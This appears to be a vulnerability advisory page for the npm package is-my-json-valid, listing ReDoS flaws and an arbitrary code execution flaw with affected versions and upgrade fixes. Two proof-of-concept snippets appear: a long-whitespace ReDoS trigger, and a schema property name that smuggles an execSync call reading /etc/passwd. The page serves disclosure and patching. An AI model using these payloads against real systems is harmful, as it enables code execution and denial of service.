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is-my-json-valid@0.0.0 vulnerabilities

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Direct Vulnerabilities

Known vulnerabilities in the is-my-json-valid package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • H
Regular Expression Denial of Service (ReDoS)

is-my-json-valid is a JSONSchema / orderly validator that uses code generation to be extremely fast.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the style format.

##PoC

const imjv = require('is-my-json-valid')
const validate = imjv({ maxLength: 100, format: 'style' })
console.log(validate(' '.repeat(1e4)))

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade is-my-json-valid to version 2.20.2 or higher.

<2.20.2
  • H
Arbitrary Code Execution

is-my-json-valid is a JSONSchema / orderly validator that uses code generation to be extremely fast.

Affected versions of this package are vulnerable to Arbitrary Code Execution via the formatName function.

##PoC

const schema = {
  type: 'object',
  properties: {
    'x[console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`))]': {
      required: true,
      type:'string'
    }
  },
}
var validate = validator(schema);
validate({})

How to fix Arbitrary Code Execution?

Upgrade is-my-json-valid to version 2.20.3 or higher.

<2.20.3
  • L
Regular Expression Denial of Service (ReDoS)

is-my-json-valid is a universal validation plugin.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. It used a regular expression (/^\S+@\S+$/) in order to validate emails. This can cause an impact of about 10 seconds matching time for data 90K characters long.

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade is-my-json-valid to version 2.17.2, 1.4.1 or higher.

<1.4.1 >=2.0.0 <2.17.2
  • H
Regular Expression Denial of Service (ReDoS)

is-my-json-valid is a JSONSchema validator that uses code generation to be extremely fast.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).

<2.12.4
  • H
Regular Expression Denial of Service (ReDoS)

is-my-json-valid is a JSONSchema validator that uses code generation to be extremely fast.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).

<2.12.4
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